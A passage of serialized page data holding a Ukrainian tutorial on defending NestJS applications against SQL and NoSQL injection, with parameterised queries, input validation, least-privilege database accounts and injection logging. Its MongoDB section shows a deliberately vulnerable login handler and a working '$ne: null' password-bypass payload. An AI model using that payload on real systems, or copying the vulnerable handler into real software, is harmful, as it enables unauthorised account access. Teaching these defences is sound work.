параметри\n",[5260,9123,9124,9126,9128,9130,9133,9135,9138],{"class":5262,"line":5321},[5260,9125,6231],{"class":5294},[5260,9127,5541],{"class":5298},[5260,9129,5383],{"class":5273},[5260,9131,9132],{"class":5341},"userRepository",[5260,9134,5383],{"class":5273},[5260,9136,9137],{"class":5277},"find",[5260,9139,5979],{"class":5273},[5260,9141,9142,9145,9147,9149],{"class":5262,"line":5371},[5260,9143,9144],{"class":5341},"    where:",[5260,9146,6474],{"class":5273},[5260,9148,9110],{"class":5341},[5260,9150,9151],{"class":5273}," },\n",[5260,9153,9154],{"class":5262,"line":5377},[5260,9155,6646],{"class":5273},[5260,9157,9158],{"class":5262,"line":5408},[5260,9159,5423],{"class":5273},[5260,9161,9162],{"class":5262,"line":5414},[5260,9163,5577],{"emptyLinePlaceholder":5576},[5260,9165,9166],{"class":5262,"line":5420},[5260,9167,9168],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: Query Builder з параметрами\n",[5260,9170,9171,9173,9175,9177,9180],{"class":5262,"line":5580},[5260,9172,5274],{"class":5273},[5260,9174,5315],{"class":5277},[5260,9176,5281],{"class":5273},[5260,9178,9179],{"class":5284},"'posts'",[5260,9181,5288],{"class":5273},[5260,9183,9184,9186,9189,9191,9193,9195,9198,9200,9203,9205,9207,9209,9211,9213,9216,9218,9221,9223,9225],{"class":5262,"line":5589},[5260,9185,6676],{"class":5341},[5260,9187,9188],{"class":5277}," getPosts",[5260,9190,5327],{"class":5273},[5260,9192,5330],{"class":5277},[5260,9194,5281],{"class":5273},[5260,9196,9197],{"class":5284},"'authorId'",[5260,9199,5338],{"class":5273},[5260,9201,9202],{"class":5341},"authorId",[5260,9204,5345],{"class":5273},[5260,9206,5348],{"class":5341},[5260,9208,5351],{"class":5273},[5260,9210,5330],{"class":5277},[5260,9212,5281],{"class":5273},[5260,9214,9215],{"class":5284},"'status'",[5260,9217,5338],{"class":5273},[5260,9219,9220],{"class":5341},"status",[5260,9222,5345],{"class":5273},[5260,9224,5348],{"class":5341},[5260,9226,5368],{"class":5273},[5260,9228,9229,9231,9233,9235],{"class":5262,"line":5611},[5260,9230,6231],{"class":5294},[5260,9232,5541],{"class":5298},[5260,9234,5383],{"class":5273},[5260,9236,9237],{"class":5341},"postRepository\n",[5260,9239,9240,9242,9244,9246,9249],{"class":5262,"line":5637},[5260,9241,8917],{"class":5273},[5260,9243,8933],{"class":5277},[5260,9245,5281],{"class":5273},[5260,9247,9248],{"class":5284},"'post'",[5260,9250,5288],{"class":5273},[5260,9252,9253,9255,9257,9259,9262,9264,9266],{"class":5262,"line":5643},[5260,9254,8917],{"class":5273},[5260,9256,8947],{"class":5277},[5260,9258,5281],{"class":5273},[5260,9260,9261],{"class":5284},"'post.authorId = :authorId'",[5260,9263,6922],{"class":5273},[5260,9265,9202],{"class":5341},[5260,9267,9268],{"class":5273}," })\n",[5260,9270,9271,9273,9276,9278,9281,9283,9285],{"class":5262,"line":5649},[5260,9272,8917],{"class":5273},[5260,9274,9275],{"class":5277},"andWhere",[5260,9277,5281],{"class":5273},[5260,9279,9280],{"class":5284},"'post.status = :status'",[5260,9282,6922],{"class":5273},[5260,9284,9220],{"class":5341},[5260,9286,9268],{"class":5273},[5260,9288,9289,9291,9294],{"class":5262,"line":5662},[5260,9290,8917],{"class":5273},[5260,9292,9293],{"class":5277},"getMany",[5260,9295,5634],{"class":5273},[5260,9297,9298],{"class":5262,"line":5698},[5260,9299,5423],{"class":5273},[5238,9301,9303],{"id":9302},"_3-валідація-та-санітизація-вводу","3. Валідація та санітизація вводу",[5251,9305,9307],{"className":5253,"code":9306,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fusers\u002Fdto\u002Fsearch-user.dto.ts\nimport { IsEmail, IsOptional, IsIn } from 'class-validator';\n\nexport class SearchUserDto {\n  @IsEmail()\n  email: string;\n\n  @IsOptional()\n  @IsIn(['active', 'inactive', 'banned']) \u002F\u002F Whitelist дозволених значень\n  status?: string;\n}\n",[5200,9308,9309,9314,9341,9345,9356,9364,9375,9379,9387,9415,9427],{"__ignoreMap":5256},[5260,9310,9311],{"class":5262,"line":5263},[5260,9312,9313],{"class":5266},"\u002F\u002F src\u002Fusers\u002Fdto\u002Fsearch-user.dto.ts\n",[5260,9315,9316,9318,9320,9323,9325,9328,9330,9333,9335,9337,9339],{"class":5262,"line":5270},[5260,9317,5938],{"class":5294},[5260,9319,6474],{"class":5273},[5260,9321,9322],{"class":5341},"IsEmail",[5260,9324,6012],{"class":5273},[5260,9326,9327],{"class":5341},"IsOptional",[5260,9329,6012],{"class":5273},[5260,9331,9332],{"class":5341},"IsIn",[5260,9334,6480],{"class":5273},[5260,9336,6483],{"class":5294},[5260,9338,6850],{"class":5284},[5260,9340,5567],{"class":5273},[5260,9342,9343],{"class":5262,"line":5291},[5260,9344,5577],{"emptyLinePlaceholder":5576},[5260,9346,9347,9349,9351,9354],{"class":5262,"line":5309},[5260,9348,5295],{"class":5294},[5260,9350,5299],{"class":5298},[5260,9352,9353],{"class":5302}," SearchUserDto",[5260,9355,5306],{"class":5273},[5260,9357,9358,9360,9362],{"class":5262,"line":5321},[5260,9359,5312],{"class":5273},[5260,9361,9322],{"class":5277},[5260,9363,5318],{"class":5273},[5260,9365,9366,9369,9371,9373],{"class":5262,"line":5371},[5260,9367,9368],{"class":5341},"  email",[5260,9370,5345],{"class":5273},[5260,9372,5348],{"class":5302},[5260,9374,5567],{"class":5273},[5260,9376,9377],{"class":5262,"line":5377},[5260,9378,5577],{"emptyLinePlaceholder":5576},[5260,9380,9381,9383,9385],{"class":5262,"line":5408},[5260,9382,5312],{"class":5273},[5260,9384,9327],{"class":5277},[5260,9386,5318],{"class":5273},[5260,9388,9389,9391,9393,9396,9399,9401,9404,9406,9409,9412],{"class":5262,"line":5414},[5260,9390,5312],{"class":5273},[5260,9392,9332],{"class":5277},[5260,9394,9395],{"class":5273},"([",[5260,9397,9398],{"class":5284},"'active'",[5260,9400,6012],{"class":5273},[5260,9402,9403],{"class":5284},"'inactive'",[5260,9405,6012],{"class":5273},[5260,9407,9408],{"class":5284},"'banned'",[5260,9410,9411],{"class":5273},"]) ",[5260,9413,9414],{"class":5266},"\u002F\u002F Whitelist дозволених значень\n",[5260,9416,9417,9420,9423,9425],{"class":5262,"line":5420},[5260,9418,9419],{"class":5341},"  status",[5260,9421,9422],{"class":5273},"?: ",[5260,9424,5348],{"class":5302},[5260,9426,5567],{"class":5273},[5260,9428,9429],{"class":5262,"line":5580},[5260,9430,5423],{"class":5273},[5089,9432,9433],{},[5099,9434,6289],{},[5251,9436,9438],{"className":5253,"code":9437,"language":5255,"meta":5256,"style":5256},"@Get('users\u002Fsearch')\nasync searchUsers(@Query() dto: SearchUserDto) {\n  \u002F\u002F dto.email та dto.status вже провалідовані\n  return this.userRepository.find({\n    where: {\n      email: dto.email,\n      status: dto.status,\n    },\n  });\n}\n",[5200,9439,9440,9453,9475,9480,9496,9502,9516,9529,9533,9537],{"__ignoreMap":5256},[5260,9441,9442,9444,9446,9448,9451],{"class":5262,"line":5263},[5260,9443,5274],{"class":5273},[5260,9445,5315],{"class":5277},[5260,9447,5281],{"class":5273},[5260,9449,9450],{"class":5284},"'users\u002Fsearch'",[5260,9452,5288],{"class":5273},[5260,9454,9455,9457,9460,9462,9464,9466,9468,9470,9473],{"class":5262,"line":5270},[5260,9456,6676],{"class":5341},[5260,9458,9459],{"class":5277}," searchUsers",[5260,9461,5327],{"class":5273},[5260,9463,5330],{"class":5277},[5260,9465,5357],{"class":5273},[5260,9467,5511],{"class":5341},[5260,9469,5345],{"class":5273},[5260,9471,9472],{"class":5341},"SearchUserDto",[5260,9474,5368],{"class":5273},[5260,9476,9477],{"class":5262,"line":5291},[5260,9478,9479],{"class":5266},"  \u002F\u002F dto.email та dto.status вже провалідовані\n",[5260,9481,9482,9484,9486,9488,9490,9492,9494],{"class":5262,"line":5309},[5260,9483,6231],{"class":5294},[5260,9485,5541],{"class":5298},[5260,9487,5383],{"class":5273},[5260,9489,9132],{"class":5341},[5260,9491,5383],{"class":5273},[5260,9493,9137],{"class":5277},[5260,9495,5979],{"class":5273},[5260,9497,9498,9500],{"class":5262,"line":5321},[5260,9499,9144],{"class":5341},[5260,9501,5306],{"class":5273},[5260,9503,9504,9507,9510,9512,9514],{"class":5262,"line":5371},[5260,9505,9506],{"class":5341},"      email:",[5260,9508,9509],{"class":5341}," dto",[5260,9511,5383],{"class":5273},[5260,9513,8724],{"class":5341},[5260,9515,6156],{"class":5273},[5260,9517,9518,9521,9523,9525,9527],{"class":5262,"line":5377},[5260,9519,9520],{"class":5341},"      status:",[5260,9522,9509],{"class":5341},[5260,9524,5383],{"class":5273},[5260,9526,9220],{"class":5341},[5260,9528,6156],{"class":5273},[5260,9530,9531],{"class":5262,"line":5408},[5260,9532,6054],{"class":5273},[5260,9534,9535],{"class":5262,"line":5414},[5260,9536,6646],{"class":5273},[5260,9538,9539],{"class":5262,"line":5420},[5260,9540,5423],{"class":5273},[5238,9542,9544],{"id":9543},"_4-обмеження-прав-доступу-до-бд","4. Обмеження прав доступу до БД",[5089,9546,9547,9550,9551,5383],{},[5099,9548,9549],{},"Принцип найменших привілеїв:"," застосунок повинен підключатися до БД з обліковим записом, що має ",[5099,9552,9553],{},"мінімальні необхідні права",[5089,9555,9556],{},[5099,9557,9558],{},"PostgreSQL приклад:",[5251,9560,9562],{"className":9001,"code":9561,"language":9003,"meta":5256,"style":5256},"-- Створити окремого користувача для застосунку\nCREATE USER app_user WITH PASSWORD 'secure_password';\n\n-- Надати права ЛИШЕ на необхідні таблиці\nGRANT SELECT, INSERT, UPDATE, DELETE ON users, posts, comments TO app_user;\n\n-- Заборонити DROP, CREATE, ALTER\nREVOKE CREATE, DROP, ALTER ON ALL TABLES IN SCHEMA public FROM app_user;\n",[5200,9563,9564,9569,9591,9595,9600,9635,9639,9644],{"__ignoreMap":5256},[5260,9565,9566],{"class":5262,"line":5263},[5260,9567,9568],{"class":5266},"-- Створити окремого користувача для застосунку\n",[5260,9570,9571,9574,9577,9580,9583,9586,9589],{"class":5262,"line":5270},[5260,9572,9573],{"class":5298},"CREATE",[5260,9575,9576],{"class":5298}," USER",[5260,9578,9579],{"class":5277}," app_user",[5260,9581,9582],{"class":5298}," WITH",[5260,9584,9585],{"class":5298}," PASSWORD",[5260,9587,9588],{"class":5284}," 'secure_password'",[5260,9590,5567],{"class":5273},[5260,9592,9593],{"class":5262,"line":5291},[5260,9594,5577],{"emptyLinePlaceholder":5576},[5260,9596,9597],{"class":5262,"line":5309},[5260,9598,9599],{"class":5266},"-- Надати права ЛИШЕ на необхідні таблиці\n",[5260,9601,9602,9605,9608,9610,9613,9615,9618,9620,9623,9626,9629,9632],{"class":5262,"line":5321},[5260,9603,9604],{"class":5298},"GRANT",[5260,9606,9607],{"class":5298}," SELECT",[5260,9609,6012],{"class":5273},[5260,9611,9612],{"class":5298},"INSERT",[5260,9614,6012],{"class":5273},[5260,9616,9617],{"class":5298},"UPDATE",[5260,9619,6012],{"class":5273},[5260,9621,9622],{"class":5298},"DELETE",[5260,9624,9625],{"class":5298}," ON",[5260,9627,9628],{"class":5273}," users, posts, comments ",[5260,9630,9631],{"class":5298},"TO",[5260,9633,9634],{"class":5273}," app_user;\n",[5260,9636,9637],{"class":5262,"line":5371},[5260,9638,5577],{"emptyLinePlaceholder":5576},[5260,9640,9641],{"class":5262,"line":5377},[5260,9642,9643],{"class":5266},"-- Заборонити DROP, CREATE, ALTER\n",[5260,9645,9646,9649,9652,9654,9657,9659,9662,9664,9667,9670,9673,9676,9678],{"class":5262,"line":5408},[5260,9647,9648],{"class":5298},"REVOKE",[5260,9650,9651],{"class":5298}," CREATE",[5260,9653,6012],{"class":5273},[5260,9655,9656],{"class":5298},"DROP",[5260,9658,6012],{"class":5273},[5260,9660,9661],{"class":5298},"ALTER",[5260,9663,9625],{"class":5298},[5260,9665,9666],{"class":5273}," ALL TABLES ",[5260,9668,9669],{"class":5298},"IN",[5260,9671,9672],{"class":5298}," SCHEMA",[5260,9674,9675],{"class":5273}," public ",[5260,9677,9021],{"class":5298},[5260,9679,9634],{"class":5273},[5089,9681,9682,6069,9684,9687],{},[5099,9683,6068],{},[5200,9685,9686],{},"DROP TABLE users",", БД відхилить запит через відсутність прав.",[5238,9689,9691],{"id":9690},"_5-логування-та-моніторинг-підозрілих-запитів","5. Логування та моніторинг підозрілих запитів",[5251,9693,9695],{"className":5253,"code":9694,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Finterceptors\u002Fsql-logging.interceptor.ts\nimport { Injectable, NestInterceptor, ExecutionContext, CallHandler, Logger } from '@nestjs\u002Fcommon';\nimport { Observable } from 'rxjs';\nimport { tap, catchError } from 'rxjs\u002Foperators';\n\n@Injectable()\nexport class SqlLoggingInterceptor implements NestInterceptor {\n  private logger = new Logger('SQL');\n\n  intercept(context: ExecutionContext, next: CallHandler): Observable\u003Cany> {\n    const request = context.switchToHttp().getRequest();\n\n    return next.handle().pipe(\n      catchError((error) => {\n        \u002F\u002F Логувати SQL помилки (можливі спроби ін'єкції)\n        if (error.message.includes('syntax error') || error.message.includes('SQL')) {\n          this.logger.error(\n            `Possible SQL Injection attempt: ${request.url} | ` +\n            `Query: ${JSON.stringify(request.query)} | ` +\n            `Body: ${JSON.stringify(request.body)}`\n          );\n        }\n        throw error;\n      })\n    );\n  }\n}\n",[5200,9696,9697,9702,9737,9755,9778,9782,9790,9806,9828,9832,9866,9886,9890,9909,9926,9931,9971,9987,10009,10039,10068,10073,10078,10088,10093,10099,10104],{"__ignoreMap":5256},[5260,9698,9699],{"class":5262,"line":5263},[5260,9700,9701],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Finterceptors\u002Fsql-logging.interceptor.ts\n",[5260,9703,9704,9706,9708,9710,9712,9715,9717,9719,9721,9724,9726,9729,9731,9733,9735],{"class":5262,"line":5270},[5260,9705,5938],{"class":5294},[5260,9707,6474],{"class":5273},[5260,9709,7688],{"class":5341},[5260,9711,6012],{"class":5273},[5260,9713,9714],{"class":5341},"NestInterceptor",[5260,9716,6012],{"class":5273},[5260,9718,7983],{"class":5341},[5260,9720,6012],{"class":5273},[5260,9722,9723],{"class":5341},"CallHandler",[5260,9725,6012],{"class":5273},[5260,9727,9728],{"class":5341},"Logger",[5260,9730,6480],{"class":5273},[5260,9732,6483],{"class":5294},[5260,9734,7995],{"class":5284},[5260,9736,5567],{"class":5273},[5260,9738,9739,9741,9743,9746,9748,9750,9753],{"class":5262,"line":5291},[5260,9740,5938],{"class":5294},[5260,9742,6474],{"class":5273},[5260,9744,9745],{"class":5341},"Observable",[5260,9747,6480],{"class":5273},[5260,9749,6483],{"class":5294},[5260,9751,9752],{"class":5284}," 'rxjs'",[5260,9754,5567],{"class":5273},[5260,9756,9757,9759,9761,9764,9766,9769,9771,9773,9776],{"class":5262,"line":5309},[5260,9758,5938],{"class":5294},[5260,9760,6474],{"class":5273},[5260,9762,9763],{"class":5341},"tap",[5260,9765,6012],{"class":5273},[5260,9767,9768],{"class":5341},"catchError",[5260,9770,6480],{"class":5273},[5260,9772,6483],{"class":5294},[5260,9774,9775],{"class":5284}," 'rxjs\u002Foperators'",[5260,9777,5567],{"class":5273},[5260,9779,9780],{"class":5262,"line":5321},[5260,9781,5577],{"emptyLinePlaceholder":5576},[5260,9783,9784,9786,9788],{"class":5262,"line":5371},[5260,9785,5274],{"class":5273},[5260,9787,7688],{"class":5277},[5260,9789,5318],{"class":5273},[5260,9791,9792,9794,9796,9799,9801,9804],{"class":5262,"line":5377},[5260,9793,5295],{"class":5294},[5260,9795,5299],{"class":5298},[5260,9797,9798],{"class":5302}," SqlLoggingInterceptor",[5260,9800,8021],{"class":5298},[5260,9802,9803],{"class":5302}," NestInterceptor",[5260,9805,5306],{"class":5273},[5260,9807,9808,9811,9814,9816,9818,9821,9823,9826],{"class":5262,"line":5408},[5260,9809,9810],{"class":5298},"  private",[5260,9812,9813],{"class":5341}," logger",[5260,9815,5535],{"class":5273},[5260,9817,6504],{"class":5298},[5260,9819,9820],{"class":5277}," Logger",[5260,9822,5281],{"class":5273},[5260,9824,9825],{"class":5284},"'SQL'",[5260,9827,5405],{"class":5273},[5260,9829,9830],{"class":5262,"line":5414},[5260,9831,5577],{"emptyLinePlaceholder":5576},[5260,9833,9834,9837,9839,9841,9843,9845,9847,9850,9852,9854,9856,9858,9860,9863],{"class":5262,"line":5420},[5260,9835,9836],{"class":5277},"  intercept",[5260,9838,5281],{"class":5273},[5260,9840,8036],{"class":5341},[5260,9842,5345],{"class":5273},[5260,9844,7983],{"class":5302},[5260,9846,6012],{"class":5273},[5260,9848,9849],{"class":5341},"next",[5260,9851,5345],{"class":5273},[5260,9853,9723],{"class":5302},[5260,9855,6115],{"class":5273},[5260,9857,9745],{"class":5302},[5260,9859,5202],{"class":5273},[5260,9861,9862],{"class":5302},"any",[5260,9864,9865],{"class":5273},"> {\n",[5260,9867,9868,9870,9872,9874,9876,9878,9880,9882,9884],{"class":5262,"line":5580},[5260,9869,5528],{"class":5298},[5260,9871,8054],{"class":5531},[5260,9873,5535],{"class":5273},[5260,9875,8036],{"class":5341},[5260,9877,5383],{"class":5273},[5260,9879,8063],{"class":5277},[5260,9881,8066],{"class":5273},[5260,9883,8069],{"class":5277},[5260,9885,5634],{"class":5273},[5260,9887,9888],{"class":5262,"line":5589},[5260,9889,5577],{"emptyLinePlaceholder":5576},[5260,9891,9892,9894,9897,9899,9902,9904,9907],{"class":5262,"line":5611},[5260,9893,5562],{"class":5294},[5260,9895,9896],{"class":5341}," next",[5260,9898,5383],{"class":5273},[5260,9900,9901],{"class":5277},"handle",[5260,9903,8066],{"class":5273},[5260,9905,9906],{"class":5277},"pipe",[5260,9908,5966],{"class":5273},[5260,9910,9911,9914,9917,9920,9922,9924],{"class":5262,"line":5637},[5260,9912,9913],{"class":5277},"      catchError",[5260,9915,9916],{"class":5273},"((",[5260,9918,9919],{"class":5341},"error",[5260,9921,5338],{"class":5273},[5260,9923,6271],{"class":5298},[5260,9925,5306],{"class":5273},[5260,9927,9928],{"class":5262,"line":5643},[5260,9929,9930],{"class":5266},"        \u002F\u002F Логувати SQL помилки (можливі спроби ін'єкції)\n",[5260,9932,9933,9936,9938,9940,9942,9944,9946,9948,9950,9953,9955,9957,9959,9961,9963,9965,9967,9969],{"class":5262,"line":5649},[5260,9934,9935],{"class":5294},"        if",[5260,9937,8600],{"class":5273},[5260,9939,9919],{"class":5341},[5260,9941,5383],{"class":5273},[5260,9943,5796],{"class":5341},[5260,9945,5383],{"class":5273},[5260,9947,8208],{"class":5277},[5260,9949,5281],{"class":5273},[5260,9951,9952],{"class":5284},"'syntax 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+\n",[5260,10010,10011,10014,10016,10019,10021,10023,10025,10027,10029,10031,10033,10035,10037],{"class":5262,"line":5713},[5260,10012,10013],{"class":5284},"            `Query: ",[5260,10015,5394],{"class":5298},[5260,10017,10018],{"class":5531},"JSON",[5260,10020,5383],{"class":5686},[5260,10022,8472],{"class":5277},[5260,10024,5281],{"class":5686},[5260,10026,8108],{"class":5341},[5260,10028,5383],{"class":5686},[5260,10030,5342],{"class":5341},[5260,10032,7928],{"class":5686},[5260,10034,5399],{"class":5298},[5260,10036,10005],{"class":5284},[5260,10038,10008],{"class":5273},[5260,10040,10041,10044,10046,10048,10050,10052,10054,10056,10058,10061,10063,10065],{"class":5262,"line":5718},[5260,10042,10043],{"class":5284},"            `Body: ",[5260,10045,5394],{"class":5298},[5260,10047,10018],{"class":5531},[5260,10049,5383],{"class":5686},[5260,10051,8472],{"class":5277},[5260,10053,5281],{"class":5686},[5260,10055,8108],{"class":5341},[5260,10057,5383],{"class":5686},[5260,10059,10060],{"class":5341},"body",[5260,10062,7928],{"class":5686},[5260,10064,5399],{"class":5298},[5260,10066,10067],{"class":5284},"`\n",[5260,10069,10070],{"class":5262,"line":5734},[5260,10071,10072],{"class":5273},"          );\n",[5260,10074,10075],{"class":5262,"line":5739},[5260,10076,10077],{"class":5273},"        }\n",[5260,10079,10080,10083,10086],{"class":5262,"line":8257},[5260,10081,10082],{"class":5294},"        throw",[5260,10084,10085],{"class":5341}," error",[5260,10087,5567],{"class":5273},[5260,10089,10090],{"class":5262,"line":8262},[5260,10091,10092],{"class":5273},"      })\n",[5260,10094,10096],{"class":5262,"line":10095},25,[5260,10097,10098],{"class":5273},"    );\n",[5260,10100,10102],{"class":5262,"line":10101},26,[5260,10103,5417],{"class":5273},[5260,10105,10107],{"class":5262,"line":10106},27,[5260,10108,5423],{"class":5273},[5143,10110],{},[5084,10112,10114],{"id":10113},"nosql-injection-атаки-на-mongodb","NoSQL Injection: Атаки на MongoDB",[5089,10116,10117],{},"NoSQL бази даних (MongoDB, CouchDB) також вразливі до ін'єкцій, хоча механізм відрізняється від SQL.",[5233,10119,10121],{"id":10120},"приклад-nosql-injection-через-query-operators","Приклад NoSQL Injection через query operators",[5089,10123,10124],{},[5099,10125,8679],{},[5251,10127,10129],{"className":5253,"code":10128,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: прямий прокидання user input у query\n@Post('login')\nasync login(@Body() credentials: any) {\n  const user = await this.userModel.findOne({\n    email: credentials.email,\n    password: credentials.password,\n  });\n\n  if (user) {\n    return { token: this.generateToken(user) };\n  }\n\n  throw new UnauthorizedException('Invalid credentials');\n}\n",[5200,10130,10131,10136,10149,10170,10194,10208,10222,10226,10230,10241,10264,10268,10272,10289],{"__ignoreMap":5256},[5260,10132,10133],{"class":5262,"line":5263},[5260,10134,10135],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: прямий прокидання user input у query\n",[5260,10137,10138,10140,10142,10144,10147],{"class":5262,"line":5270},[5260,10139,5274],{"class":5273},[5260,10141,5491],{"class":5277},[5260,10143,5281],{"class":5273},[5260,10145,10146],{"class":5284},"'login'",[5260,10148,5288],{"class":5273},[5260,10150,10151,10153,10155,10157,10159,10161,10164,10166,10168],{"class":5262,"line":5291},[5260,10152,6676],{"class":5341},[5260,10154,7708],{"class":5277},[5260,10156,5327],{"class":5273},[5260,10158,5506],{"class":5277},[5260,10160,5357],{"class":5273},[5260,10162,10163],{"class":5341},"credentials",[5260,10165,5345],{"class":5273},[5260,10167,9862],{"class":5341},[5260,10169,5368],{"class":5273},[5260,10171,10172,10174,10176,10178,10180,10182,10184,10187,10189,10192],{"class":5262,"line":5309},[5260,10173,5807],{"class":5298},[5260,10175,8760],{"class":5531},[5260,10177,5535],{"class":5273},[5260,10179,5538],{"class":5294},[5260,10181,5541],{"class":5298},[5260,10183,5383],{"class":5273},[5260,10185,10186],{"class":5341},"userModel",[5260,10188,5383],{"class":5273},[5260,10190,10191],{"class":5277},"findOne",[5260,10193,5979],{"class":5273},[5260,10195,10196,10199,10202,10204,10206],{"class":5262,"line":5321},[5260,10197,10198],{"class":5341},"    email:",[5260,10200,10201],{"class":5341}," credentials",[5260,10203,5383],{"class":5273},[5260,10205,8724],{"class":5341},[5260,10207,6156],{"class":5273},[5260,10209,10210,10213,10215,10217,10220],{"class":5262,"line":5371},[5260,10211,10212],{"class":5341},"    password:",[5260,10214,10201],{"class":5341},[5260,10216,5383],{"class":5273},[5260,10218,10219],{"class":5341},"password",[5260,10221,6156],{"class":5273},[5260,10223,10224],{"class":5262,"line":5377},[5260,10225,6646],{"class":5273},[5260,10227,10228],{"class":5262,"line":5408},[5260,10229,5577],{"emptyLinePlaceholder":5576},[5260,10231,10232,10235,10237,10239],{"class":5262,"line":5414},[5260,10233,10234],{"class":5294},"  if",[5260,10236,8600],{"class":5273},[5260,10238,7721],{"class":5341},[5260,10240,5368],{"class":5273},[5260,10242,10243,10245,10247,10250,10252,10254,10257,10259,10261],{"class":5262,"line":5420},[5260,10244,5562],{"class":5294},[5260,10246,6474],{"class":5273},[5260,10248,10249],{"class":5341},"token:",[5260,10251,5541],{"class":5298},[5260,10253,5383],{"class":5273},[5260,10255,10256],{"class":5277},"generateToken",[5260,10258,5281],{"class":5273},[5260,10260,7721],{"class":5341},[5260,10262,10263],{"class":5273},") };\n",[5260,10265,10266],{"class":5262,"line":5580},[5260,10267,5417],{"class":5273},[5260,10269,10270],{"class":5262,"line":5589},[5260,10271,5577],{"emptyLinePlaceholder":5576},[5260,10273,10274,10277,10279,10282,10284,10287],{"class":5262,"line":5611},[5260,10275,10276],{"class":5294},"  throw",[5260,10278,8228],{"class":5298},[5260,10280,10281],{"class":5277}," UnauthorizedException",[5260,10283,5281],{"class":5273},[5260,10285,10286],{"class":5284},"'Invalid credentials'",[5260,10288,5405],{"class":5273},[5260,10290,10291],{"class":5262,"line":5637},[5260,10292,5423],{"class":5273},[5089,10294,10295],{},[5099,10296,5428],{},[5251,10298,10302],{"className":10299,"code":10300,"language":10301,"meta":5256,"style":5256},"language-json shiki shiki-themes light-plus dark-plus dark-plus","POST \u002Flogin\n{\n  \"email\": \"admin@example.com\",\n  \"password\": { \"$ne\": null }\n}\n","json",[5200,10303,10304,10309,10314,10327,10346],{"__ignoreMap":5256},[5260,10305,10306],{"class":5262,"line":5263},[5260,10307,10308],{"class":5273},"POST \u002Flogin\n",[5260,10310,10311],{"class":5262,"line":5270},[5260,10312,10313],{"class":5273},"{\n",[5260,10315,10316,10320,10322,10325],{"class":5262,"line":5291},[5260,10317,10319],{"class":10318},"sLwNe","  \"email\"",[5260,10321,5345],{"class":5273},[5260,10323,10324],{"class":5284},"\"admin@example.com\"",[5260,10326,6156],{"class":5273},[5260,10328,10329,10332,10335,10338,10340,10343],{"class":5262,"line":5309},[5260,10330,10331],{"class":10318},"  \"password\"",[5260,10333,10334],{"class":5273},": { ",[5260,10336,10337],{"class":10318},"\"$ne\"",[5260,10339,5345],{"class":5273},[5260,10341,10342],{"class":5298},"null",[5260,10344,10345],{"class":5273}," }\n",[5260,10347,10348],{"class":5262,"line":5321},[5260,10349,5423],{"class":5273},[5089,10351,10352],{},[5099,10353,10354],{},"Що відбувається:",[5251,10356,10360],{"className":10357,"code":10358,"language":10359,"meta":5256,"style":5256},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F MongoDB query\ndb.users.findOne({\n  email: \"admin@example.com\",\n  password: { $ne: null }  \u002F\u002F $ne = not equal (не дорівнює)\n})\n\n\u002F\u002F Результат: знаходить admin, бо його пароль != null (завжди true)\n","javascript",[5200,10361,10362,10367,10383,10393,10412,10417,10421],{"__ignoreMap":5256},[5260,10363,10364],{"class":5262,"line":5263},[5260,10365,10366],{"class":5266},"\u002F\u002F MongoDB query\n",[5260,10368,10369,10372,10374,10377,10379,10381],{"class":5262,"line":5270},[5260,10370,10371],{"class":5341},"db",[5260,10373,5383],{"class":5273},[5260,10375,10376],{"class":5341},"users",[5260,10378,5383],{"class":5273},[5260,10380,10191],{"class":5277},[5260,10382,5979],{"class":5273},[5260,10384,10385,10388,10391],{"class":5262,"line":5291},[5260,10386,10387],{"class":5341},"  email:",[5260,10389,10390],{"class":5284}," \"admin@example.com\"",[5260,10392,6156],{"class":5273},[5260,10394,10395,10398,10400,10403,10406,10409],{"class":5262,"line":5309},[5260,10396,10397],{"class":5341},"  password:",[5260,10399,6474],{"class":5273},[5260,10401,10402],{"class":5341},"$ne:",[5260,10404,10405],{"class":5298}," null",[5260,10407,10408],{"class":5273}," }  ",[5260,10410,10411],{"class":5266},"\u002F\u002F $ne = not equal (не дорівнює)\n",[5260,10413,10414],{"class":5262,"line":5321},[5260,10415,10416],{"class":5273},"})\n",[5260,10418,10419],{"class":5262,"line":5371},[5260,10420,5577],{"emptyLinePlaceholder":5576},[5260,10422,10423],{"class":5262,"line":5377},[5260,10424,10425],{"class":5266},"\u002F\u002F Результат: знаходить admin, бо його пароль != null (завжди true)\n",[5089,10427,10428],{},"Зловмисник обходить перевірку паролю!",[5233,10430,10432],{"id":10431},"захист-від-nosql-injection","Захист від NoSQL Injection",[5238,10434,10436],{"id":10435},"_1-валідація-типів-даних","1. Валідація типів даних",[5251,10438,10440],{"className":5253,"code":10439,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fauth\u002Fdto\u002Flogin.dto.ts\nimport { IsEmail, IsString, MinLength } from 'class-validator';\n\nexport class LoginDto {\n  @IsEmail()\n  email: string;\n\n  @IsString() \u002F\u002F ❗ Важливо: гарантуємо, що це string, а не object\n  @MinLength(6)\n  password: string;\n}\n",[5200,10441,10442,10447,10472,10476,10487,10495,10505,10509,10520,10533,10544],{"__ignoreMap":5256},[5260,10443,10444],{"class":5262,"line":5263},[5260,10445,10446],{"class":5266},"\u002F\u002F src\u002Fauth\u002Fdto\u002Flogin.dto.ts\n",[5260,10448,10449,10451,10453,10455,10457,10459,10461,10464,10466,10468,10470],{"class":5262,"line":5270},[5260,10450,5938],{"class":5294},[5260,10452,6474],{"class":5273},[5260,10454,9322],{"class":5341},[5260,10456,6012],{"class":5273},[5260,10458,6833],{"class":5341},[5260,10460,6012],{"class":5273},[5260,10462,10463],{"class":5341},"MinLength",[5260,10465,6480],{"class":5273},[5260,10467,6483],{"class":5294},[5260,10469,6850],{"class":5284},[5260,10471,5567],{"class":5273},[5260,10473,10474],{"class":5262,"line":5291},[5260,10475,5577],{"emptyLinePlaceholder":5576},[5260,10477,10478,10480,10482,10485],{"class":5262,"line":5309},[5260,10479,5295],{"class":5294},[5260,10481,5299],{"class":5298},[5260,10483,10484],{"class":5302}," 